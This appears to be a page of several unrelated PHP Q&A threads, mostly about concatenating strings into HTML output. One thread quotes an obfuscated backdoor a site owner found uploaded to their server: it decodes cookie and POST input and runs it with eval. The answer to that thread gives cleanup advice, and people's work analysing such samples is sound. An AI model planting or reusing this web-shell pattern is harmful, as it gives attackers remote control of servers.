I just made a phone number to time zone converter and it displays result as:
Requested Phone No.: +1 732 78782722
Country: United States
Expected Region: Newark, New Brunswick
Timezone: America/New_York
Date: 2015-08-05
Time: 01:51:03 am
What I want to do is place all these outputs in a single line.
Here's my output code
if(!empty($record['country_name'])) {
$this->display('<strong>Country:</strong> ' . $record['country_name']);
}
if(!empty($record['city'])) {
$this->display('<strong>Expected Region:</strong> ' . $record['city']);
}
//echo json_encode($date);
if(!empty($record['zone_name'])) {
$this->display('<strong>Timezone:</strong> ' . $record['zone_name']);
$this->display('<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>');
$this->display('<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>');
}
Thanks for the help.
Try this: If you want to pass that in a variable
if(!((empty($record['country_name']) && empty($record['city']) && empty($record['zone_name'])) {
$var = '<strong>Country:</strong> ' . $record['country_name'] . '<strong>Expected Region:</strong> ' . $record['city'] . '<strong>Timezone:</strong> ' . $record['zone_name']. '<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>' . '<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>';
}
echo $var;
Or this if you want to pass in your object:
if(!((empty($record['country_name']) && empty($record['city']) && empty($record['zone_name'])) {
$this->display('<strong>Country:</strong> ' . $record['country_name'] . '<strong>Expected Region:</strong> ' . $record['city'] . '<strong>Timezone:</strong> ' . $record['zone_name']. '<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>' . '<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>');
}
return $this;
You need to create a string variable and concatenate all your output to that string like below:-
$result = ''; // create an empty string
if(!empty($record['country_name']) && !empty($record['city']) && !empty($record['zone_name'])){
$result = '<strong>Country:</strong> ' . $record['country_name'].' <strong>Timezone:</strong> '. $record['city'].' <strong>Timezone:</strong> '.$record['zone_name'].' <h2><strong>Date:</strong> '. date('Y-m-d') . '</h2>'.' <h2><strong>Time:</strong> '. date('H:i:s a') . '</h2>';
}
echo $result; // print output
Related
there is always a file on my website that always being upload even though im not the one who upload it.
This is the file
and this is the code when you open it.. any idea how to stop this?
<?php
1.$ilmtik[4] . $ilmtik[26] . $ilmtik[20] . $ilmtik[18] . $ilmtik[12] . $ilmtik[3] . $ilmtik[22] . $ilmtik1 . $ilmtik[5] . $ilmtik[14] . $ilmtik[28] . $ilmtik[5] . $ilmtik[30] . $ilmtik[30] . $ilmtik[4] . $ilmtik[26];
$kkunht[] = $ilmtik[24] . $ilmtik[13];
$kkunht[] = $ilmtik[0];
$kkunht[] = $ilmtik[26] . $ilmtik[17] . $ilmtik[27] . $ilmtik[21] . $ilmtik[32];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[23] . $ilmtik[16] . $ilmtik[3] . $ilmtik[2] . $ilmtik[3] . $ilmtik[6] . $ilmtik[32];
$kkunht[] = $ilmtik[3] . $ilmtik[29] . $ilmtik[2] . $ilmtik[8] . $ilmtik[17] . $ilmtik[12] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[27] . $ilmtik[22] . $ilmtik[10] . $ilmtik[32] . $ilmtik[16];
$kkunht[] = $ilmtik[6] . $ilmtik[16] . $ilmtik[16] . $ilmtik[6] . $ilmtik[25] . $ilmtik[23] . $ilmtik[34] . $ilmtik[3] . $ilmtik[16] . $ilmtik[33] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[8] . $ilmtik[3] . $ilmtik[21];
$kkunht[] = $ilmtik[2] . $ilmtik[6] . $ilmtik[26] . $ilmtik[15];
foreach($kkunht[7]($_COOKIE, $_POST) as $dfmafta => $ozyods) {
function lawlvc($kkunht, $dfmafta, $fanykfj)
{
return $kkunht[6]($kkunht[4]($dfmafta . $kkunht[0], ($fanykfj / $kkunht8) + 1) , 0, $fanykfj);
}
function cuoen($kkunht, $soeasy)
{
return #$kkunht[9]($kkunht1, $soeasy);
}
function mktryk($kkunht, $soeasy)
{
$pcrtw = $kkunht3 % 3;
if (!$pcrtw) {
eval($soeasy1);
exit();
}
}
$ozyods = cuoen($kkunht, $ozyods);
mktryk($kkunht, $kkunht[5]($kkunht[2], $ozyods ^ lawlvc($kkunht, $dfmafta, $kkunht8)));
}
could someone has an idea on this.. thank you :(
there are numerous scanners that will check your site (for example, https://sitecheck.sucuri.net/).
to fix the problem, i would disable php, turn off http access, then ssh into the site and start cleaning up the malware. changing your password isn't a bad idea, but it won't have much impact on a backdoor.
I have a database with some information. Using an for each statement im getting all the records from the database.
$row2['test'] is in the database 0 or 1 with 0 being no and 1 being yes. My foreach statement works as it shows the records but i want to change the 0 in the test record into no and 1 into yes. I have tryed with an if statement but shamefully it doesn't seem to work.
foreach( $result as $row2 )
{ echo '<table ><tr><td>' . $row2['name'] . '</td></tr>' . '<tr><td>' . $row2['test'] . '</td></tr>' .'<tr><td>' . $row2['comments'] . '</td></tr> </table><p>'; } ?></p>
Use empty function with the ternary operator to test the value with (check the manual for a full write up of what empty means, 0 is one of the values).
foreach( $result as $row2 ) {
$value .= !empty($row2['test']) ? 'yes' : 'no';
echo '<table ><tr><td>' . $row2['name'] . '</td></tr>' . '<tr><td>' . $value . '</td></tr>' .'<tr><td>' . $row2['comments'] . '</td></tr> </table><p>';
} ?></p>
Use ternary operator, for example:
'<tr><td>' . ($row2['test']? 'yes' : 'no') . '</td></tr>'
Full code:
foreach( $result as $row2 )
{
echo '<table ><tr><td>' . $row2['name'] . '</td></tr>'
. '<tr><td>' . ($row2['test']? 'yes' : 'no') . '</td></tr>'
. '<tr><td>' . $row2['comments']
. '</td></tr> </table><p>';
}
I know this is way out of left field, but i was wanting to see if anyone could help.
I am wanting to add a column, populating the data from a certain variable (the variable i have yet to discover the name of). This is a plugin for wordpress and the developer wont really help.
Last ditch effort i guess. Here is the code:
}$output.='><tr><th>' . __('Request For', 'wpsc-support-tickets') . '</th><th>'
. __('Status', 'wpsc-support-tickets') . '</th><th>'
. __('Last Reply', 'wpsc-support-tickets')
. '</th><th>' . __('Department', 'wpsc-support-tickets') . '</th></tr>';
I added the last column, "Department".
Now, looking at the following code, i cant figure out how to populate that data (assuming i knew the variable even)
$output .= '<tr><td>
<a href="" onclick="loadTicket(' . $result['primkey'] . ',\'' . $canReopen . '\');
return false;" ';
if ($result['resolution'] == strtolower('open') ) {
$resresolution = __('Open', 'wpsc-support-tickets');
} elseif ($result['resolution'] == strtolower('closed') ) {
$resresolution = __('Closed', 'wpsc-support-tickets');
} else {
$resresolution = $result['resolution'];
}
if ($devOptions['disable_inline_styles'] == 'false') {
$output.='style="border:none;text-decoration:none;"';
}$output.='><img';
if ($devOptions['disable_inline_styles'] == 'false') {
$output.=' style="float:left;border:none;margin-right:5px;"';
}$output.=' src="' . plugins_url('/images/page_edit.png', __FILE__) . '"
alt="' . __('View', 'wpsc-support-tickets') . '" /> ' . base64_decode($result['title']) .
'</a></td><td>' . $resresolution . '</td><td>'
. date_i18n( get_option( 'date_format' ),
$result['last_updated']) . ' ' . __('by', 'wpsc-support-tickets') . '
' . $last_staff_reply . '</td>
</tr>';
again - where might i add the variable for the column "department" if the variable were $department_var?
You can add it to the very end of that large chunk of mess before the closing </tr>...
change
...$last_staff_reply . '</td></tr>';
to
...$last_staff_reply . '</td><td>' . $department_var . '</td></tr>';
I'm keeping get this error
Parse error: syntax error, unexpected T_VARIABLE, expecting ',' or ';' in
on the following line...
echo '<li><div>'$caption'<a href='.($portfolio_url).'><img height='$src[2]' width='$src[1]' src='$src[0]' alt='$alt' /></a></div></li>';
I'm newbie in PHP and wrote this line with tutorial. Any help would be appreciated.
Concatenate properly:
echo '<li><div>' . $caption . '<a href='.($portfolio_url).'><img height=' . $src[2] . ' width=' . $src[1] . ' src=' . $src[0] . ' alt='$alt' /></a></div></li>';
^ ^
That is, always use the syntax:
echo 'text ' . $variable . ' more text';
So that you get (printed in multiple lines to make it more clear):
echo '<li><div>' . $caption . '<a hr ...
.... ef=' . $portfolio_url . '><img
.... height=' . $src[2] . ' width=' . $src[1] . ' src=' . $src[0] . '
.... alt=' . $alt. ' /></a></div></li>';
Before style="style="color: ' . $rx_event_colors . '" I want to add the $ima variable. it's just a variable with an image inside of the string. Additionally, if you think i would benefit from just adding the
if(!empty($ins_event))
{
echo "<tr><td> <a href='". matry::here(array('event_id'=>$ins_event['id'])) . "'" .
( $ins_event['status'] == 2 ? ' style="color: ' . $rx_event_colors . '">Completed Insurance Event' : '>Active Insurance Event') . "</a></td></tr>";
}
I've tried:
? ' $ima, style="style="color: ' . $rx_event_colors . '"
style="style="color: ' . $ima, $rx_event_colors . '"
style="style="color: ' . ($ima), $rx_event_colors . '"
style="style="color: ' . ($ima), ($rx_event_colors) . '"
with no avail.
I'm assuming $ima is a string. To concatenate strings, use the "."
So in the first part of your ternary, if you'd like to add $ima, simply do this:
' style="color: ' . $ima . $rx_event_colors . '">Completed Insurance Event'
However, I'm confused when you say "[$ima] just a variable with an image inside of the string". Does $ima contain the path to the image itself? If so, it belongs in the SRC attribute of the img tag, not inside the STYLE attribute.
UPDATE:
Because $ima contained the entire img tag, it doesn't belong in the style atrribute. See:
' style="color: ' . $rx_event_colors . '">' . $ima . 'Completed Insurance Event'